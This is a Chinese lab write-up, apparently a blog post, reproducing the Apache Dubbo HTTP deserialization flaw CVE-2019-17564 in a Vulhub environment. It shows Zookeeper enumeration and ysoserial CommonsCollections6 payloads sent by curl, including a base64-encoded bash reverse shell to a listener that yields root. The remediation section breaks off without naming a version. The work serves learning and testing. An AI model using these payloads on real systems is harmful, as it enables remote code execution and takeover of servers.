《Vulhub-Aapche Dubbo Java反序列化漏洞(CVE-2019-17564)》

作者: susususuao
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。


一、前言

  近期接工信部网安局通知:近日工业和信息化部网络安全威胁和漏洞信息共享平台检测发现,开源分布式服务框架Apache Dubbo Hession反序列化漏CVE-2022-39198存在反序列化超危漏洞(CVE-2022-39198)。
详情如下:
  Apache Dubbo是一款高性能、轻量级的开源服务框架,其在解析Native_Java协议时,未对用户输入的反序列化数据包进行过滤,导致反序列化过程可被恶意控制,造成恶意代码执行等后果。该漏洞危害级别为超危,影响2.6.10-2.6.12、2.7.9-2.7.18、3.0.0-3.0.12、3.1.0-3.1.1等多个版本。

  在之前我想起在Vulhub漏洞平台复现过Aapche Dubbo Java反序列化漏洞(CVE-2019-17564),虽然不是最新的(CVE-2022-39198)漏洞,但也想把(CVE-2019-17564)分享一下。

二、Apache Dubbo是什么?

Apache Dubbo是一款高性能、轻量级的开源Java RPC服务框架。Dubbo可以使用不同协议通信,当使用http协议时,Apache Dubbo直接使用了Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter类做远程调用,而这个过程会读取POST请求的Body并进行反序列化,最终导致漏洞。

三、复现步骤

所使用的的是本地vulhub漏洞平台,具体部署可参考vulhub官网
本次复现文章https://vulhub.org/#/environments/dubbo/CVE-2019-17564/

测试环境:

 虚拟机   :VMware Workstation Pro 16
 网络模式 :VMnet8(能够相互通信即可)
 Centos(vulhub)  :IP地址:192.168.5.132
 KALI            :IP地址:192.168.5.128
 Apache Dubbo 2.7.3

1.开启靶场

Centos(vulhub)系统命令如下:

#cd /vulhub-master/dubbo/CVE-2019-17564   //进入靶场环境存放路径。
#docker-compose up -d   //开启环境,第一次可能需要时间拉取环境。

在这里插入图片描述

2.复现

KALI系统命令如下:

#nmap -p- 192.168.5.132     //查看开放端口

在这里插入图片描述对外开放了8080端口和2181端口,其中2181即为Zookeeper的端口,我们本地下载Zookeeper,使用其中自带的zkCli即可连接到这台,Zookeeper下载地址https://github.com/apache/zookeeper

#cd apache-zookeeper-3.8.0-bin/bin/
#ll   //查看里面内容。
#./zkCli.sh -server 192.168.5.132:2181  //使用zkCli连接到这台Zookeeper服务器:

在这里插入图片描述
连接后进入一个交互式控制台,使用ls即可列出其中所有节点,包括Dubbo相关的配置:
获取到RPC接口名为org.vulhub.api.CalcService

[zk: 192.168.5.132:2181(CONNECTED) 0] ls /
[dubbo, zookeeper]
[zk: 192.168.5.132:2181(CONNECTED) 1] ls /dubbo
[org.vulhub.api.CalcService]

在这里插入图片描述
接用ysoserial生成CommonsCollections6的Payload作为POST Body发送到http://your-ip:8080/org.vulhub.api.CalcService即可触发反序列化漏洞:
ysoserial下载地址:
链接:https://pan.baidu.com/s/1X9bdCEhWHIwSpmdhVz5mRA?pwd=2e3e
提取码:2e3e

#java -jar ysoserial.jar CommonsCollections6 "touch /tmp/success" > 1.poc  //生成一个创建success的1.poc
#curl -XPOST --data-binary @1.poc http://192.168.5.132:8080/org.vulhub.api.CalcService   //将Payload作为POST Body发送到靶机

在这里插入图片描述

去靶机验证一下
Centos(vulhub)系统命令如下:

#docker ps   //查看容器
#docker exec -it a723a4e6fee  bash  //进入容器。

#ls /tmp    //在容器里查看脚本执行的创建文件夹

在这里插入图片描述

制做反弹shell的脚本
KALI系统命令如下:

#java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTI4Lzc3NzcgMD4mMQo=}|{base64,-d}|{bash,-i}" > 2.poc  //生成反弹shell的脚本2.poc
#nc -lvvp 7777   //在开一个窗口监听7777端口
#curl -XPOST --data-binary @2.poc http://192.168.5.132:8080/org.vulhub.api.CalcService  //将Payload作为POST Body发送到靶机
#whoami   //查看当前权限

里面的**YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTI4Lzc3NzcgMD4mMQo=**是通过base64加密而来,可通过在线加密得到。

在这里插入图片描述

在这里插入图片描述获取到靶机的root权限

四、修复方案

升级到版本

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

susu苏打水

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值